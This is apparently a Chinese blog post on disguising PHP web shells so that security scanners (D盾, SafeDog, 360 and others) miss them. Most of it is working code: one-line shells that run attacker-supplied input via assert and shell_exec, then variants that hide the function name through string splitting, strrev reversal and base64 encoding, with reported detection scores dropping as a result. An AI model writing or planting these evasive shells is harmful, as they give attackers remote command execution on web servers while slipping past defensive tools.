PHP木马变形

不小心看到了一篇PHP过狗的文章,于是借鉴了思路自己尝试对PHP木马进行变形,最终效果还算可以(对D盾来说可以……)。

写得比较垃圾,不要当真。其实方式很多,只是我这里用的技术太基础了。

思路1

看到一篇文章思路是这样的:

原始木马:

<?php assert(@$_POST['a']); ?>

变形后:

<?php
$a = 'assert';
$b = $a;
$a(@$_POST['a']);
?>

于是我就自行使用该思路进行了尝试,原始的木马使用D盾扫描,风险级别为4。

原始木马内容:

<?php echo shell_exec($_GET['cmd']);?>

该马的使用效果:

根据上述的思路,对该木马进行了变形处理。

<?php
$a = 'she';
$b = 'll_ex';
$c = 'ec';
$d = $a.$b.$c;
echo "Hello World!</br>";
echo $d($_GET['cmd']);
?>

变形后木马能正常使用,并且D盾检测级别已经变为了1。

思路2

思路2是在思路1的基础上,将字符串进行反转,以及base64编码。然后解码后执行。最终实现的结果,D盾仍然检测为级别1。

PHP的反转函数,不经意间发现*strrev*这个函数,于是进行Bypass尝试。

<?php
$safedog1 = 'cexe_llehs';
echo "safedog1:".$safedog1."<br>";
$safedog2 = base64_encode($safedog1);
echo "safedog2:".$safedog2."</br>";
$safedog3 = strrev(base64_decode($safedog2));
echo "safedog3:".$safedog3."</br>";
echo $safedog3($_GET['cmd']);
?>

运行如下:

然后丢到D盾里面去进行检测,目前检测级别只有1,实现效果,但是安全狗的话还是能识别为风险文件,但是没说具体风险值。

D盾:

安全狗:

微步在线:

360:

后续

后面继续吸收经验以及思路,继续尝试其他Bypass的思路。